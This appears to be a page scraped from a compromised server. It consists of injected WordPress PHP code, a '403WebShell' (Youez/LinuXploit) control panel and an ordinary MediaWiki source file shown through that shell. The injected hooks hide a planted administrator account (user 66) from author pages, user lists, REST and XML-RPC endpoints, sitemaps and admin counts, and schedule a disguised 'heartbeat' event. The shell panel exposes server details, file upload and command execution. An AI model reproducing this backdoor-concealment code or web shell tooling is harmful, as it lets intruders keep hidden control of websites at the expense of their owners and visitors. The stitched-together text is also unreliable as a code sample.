add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/includes/editpage/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/includes/editpage/PreloadedContentBuilder.php
<?php

namespace MediaWiki\EditPage;

use MediaWiki\Content\Content;
use MediaWiki\Content\IContentHandlerFactory;
use MediaWiki\Content\Transform\ContentTransformer;
use MediaWiki\HookContainer\HookContainer;
use MediaWiki\HookContainer\HookRunner;
use MediaWiki\Page\PageReference;
use MediaWiki\Page\ProperPageIdentity;
use MediaWiki\Page\RedirectLookup;
use MediaWiki\Page\WikiPageFactory;
use MediaWiki\Parser\ParserOptions;
use MediaWiki\Permissions\Authority;
use MediaWiki\Revision\RevisionRecord;
use MediaWiki\SpecialPage\SpecialPageFactory;
use MediaWiki\Title\Title;
use Wikimedia\Assert\Assert;

/**
 * Provides the initial content of the edit box displayed in an edit form
 * when creating a new page or a new section.
 *
 * Used by EditPage, and may be used by extensions providing alternative editors.
 *
 * @since 1.41
 */
class PreloadedContentBuilder {

	use ParametersHelper;

	private IContentHandlerFactory $contentHandlerFactory;
	private WikiPageFactory $wikiPageFactory;
	private RedirectLookup $redirectLookup;
	private SpecialPageFactory $specialPageFactory;
	private ContentTransformer $contentTransformer;
	private HookRunner $hookRunner;

	public function __construct(
		IContentHandlerFactory $contentHandlerFactory,
		WikiPageFactory $wikiPageFactory,
		RedirectLookup $redirectLookup,
		SpecialPageFactory $specialPageFactory,
		ContentTransformer $contentTransformer,
		HookContainer $hookContainer
	) {
		// Services
		$this->contentHandlerFactory = $contentHandlerFactory;
		$this->wikiPageFactory = $wikiPageFactory;
		$this->redirectLookup = $redirectLookup;
		$this->specialPageFactory = $specialPageFactory;
		$this->contentTransformer = $contentTransformer;
		$this->hookRunner = new HookRunner( $hookContainer );
	}

	/**
	 * Get the initial content of the edit box displayed in an edit form
	 * when creating a new page or a new section.
	 *
	 * @param ProperPageIdentity $page
	 * @param Authority $performer
	 * @param string|null $preload
	 * @param string[] $preloadParams
	 * @param string|null $section
	 * @return Content
	 */
	public function getPreloadedContent(
		ProperPageIdentity $page,
		Authority $performer,
		?string $preload,
		array $preloadParams,
		?string $section
	): Content {
		Assert::parameterElementType( 'string', $preloadParams, '$preloadParams' );

		$content = null;
		if ( $section !== 'new' ) {
			$content = $this->getDefaultContent( $page );
		}
		if ( $content === null ) {
			if ( ( $preload === null || $preload === '' ) && $section === 'new' ) {
				// Custom preload text for new sections
				$preload = 'MediaWiki:addsection-preload';
			}
			$content = $this->getPreloadedContentFromParams( $page, $performer, $preload, $preloadParams );
		}
		$title = Title::newFromPageIdentity( $page );
		if ( !$title->getArticleID() ) {
			$contentModel = $title->getContentModel();
			$contentHandler = $this->contentHandlerFactory->getContentHandler( $contentModel );
			$contentFormat = $contentHandler->getDefaultFormat();
			$text = $contentHandler->serializeContent( $content, $contentFormat );
			$this->hookRunner->onEditFormPreloadText( $text, $title );
			$content = $contentHandler->unserializeContent( $text, $contentFormat );
		}
		return $content;
	}

	/**
	 * Get the content that is displayed when viewing a page that does not exist.
	 * Users should be discouraged from saving the page with identical content to this.
	 *
	 * Some code may depend on the fact that this is only non-null for the 'MediaWiki:' namespace.
	 * Beware.
	 *
	 * @param ProperPageIdentity $page
	 * @return Content|null
	 */
	public function getDefaultContent( ProperPageIdentity $page ): ?Content {
		$title = Title::newFromPageIdentity( $page );
		$contentModel = $title->getContentModel();
		$contentHandler = $this->contentHandlerFactory->getContentHandler( $contentModel );
		$contentFormat = $contentHandler->getDefaultFormat();
		if ( $title->getNamespace() === NS_MEDIAWIKI ) {
			// If this is a system message, get the default text.
			$text = $title->getDefaultMessageText();
			if ( $text !== false ) {
				return $contentHandler->unserializeContent( $text, $contentFormat );
			}
		}
		return null;
	}

	/**
	 * Get the contents to be preloaded into the box by loading the given page.
	 *
	 * @param ProperPageIdentity $contextPage
	 * @param Authority $performer
	 * @param string|null $preload Representing the title to preload from.
	 * @param string[] $preloadParams Parameters to use (interface-message style) in the preloaded text
	 * @return Content
	 */
	private function getPreloadedContentFromParams(
		ProperPageIdentity $contextPage,
		Authority $performer,
		?string $preload,
		array $preloadParams
	): Content {
		$contextTitle = Title::newFromPageIdentity( $contextPage );
		$contentModel = $contextTitle->getContentModel();
		$handler = $this->contentHandlerFactory->getContentHandler( $contentModel );

		// T297725: Don't trick users into making edits to e.g. .js subpages
		if ( !$handler->supportsPreloadContent() || $preload === null || $preload === '' ) {
			return $handler->makeEmptyContent();
		}

		$title = Title::newFromText( $preload );

		if ( $title && $title->getNamespace() == NS_MEDIAWIKI ) {
			// When the preload source is in NS_MEDIAWIKI, get the content via wfMessage, to
			// enable preloading from i18n messages. The message framework can work with normal
			// pages in NS_MEDIAWIKI, so this does not restrict preloading only to i18n messages.
			$msg = wfMessage( $title->getText() );

			if ( $msg->isDisabled() ) {
				// Message is disabled and should not be used for preloading
				return $handler->makeEmptyContent();
			}

			return $this->transform(
				$handler->unserializeContent( $msg
					->page( $title )
					->params( $preloadParams )
					->inContentLanguage()
					->plain()
				),
				$title
			);
		}

		// (T299544) Use SpecialMyLanguage redirect so that nonexistent translated pages can
		// fall back to the corresponding page in a suitable language
		$title = $this->getTargetTitleIfSpecialMyLanguage( $title );

		# Check for existence to avoid getting MediaWiki:Noarticletext
		if ( !$this->isPageExistingAndViewable( $title, $performer ) ) {
			// TODO: somehow show a warning to the user!
			return $handler->makeEmptyContent();
		}

		$page = $this->wikiPageFactory->newFromTitle( $title );
		if ( $page->isRedirect() ) {
			$redirTarget = $this->redirectLookup->getRedirectTarget( $title );
			$redirTarget = Title::castFromLinkTarget( $redirTarget );
			# Same as before
			if ( !$this->isPageExistingAndViewable( $redirTarget, $performer ) ) {
				// TODO: somehow show a warning to the user!
				return $handler->makeEmptyContent();
			}
			$page = $this->wikiPageFactory->newFromTitle( $redirTarget );
		}

		$content = $page->getContent( RevisionRecord::RAW );

		if ( !$content ) {
			// TODO: somehow show a warning to the user!
			return $handler->makeEmptyContent();
		}

		if ( $content->getModel() !== $handler->getModelID() ) {
			$converted = $content->convert( $handler->getModelID() );

			if ( !$converted ) {
				// TODO: somehow show a warning to the user!
				wfDebug( "Attempt to preload incompatible content: " .
					"can't convert " . $content->getModel() .
					" to " . $handler->getModelID() );

				return $handler->makeEmptyContent();
			}

			$content = $converted;
		}
		return $this->transform( $content, $title, $preloadParams );
	}

	private function transform(
		Content $content,
		PageReference $title,
		array $preloadParams = []
	): Content {
		return $this->contentTransformer->preloadTransform(
			$content,
			$title,
			// The preload transformations don't depend on the user anyway
			ParserOptions::newFromAnon(),
			$preloadParams
		);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit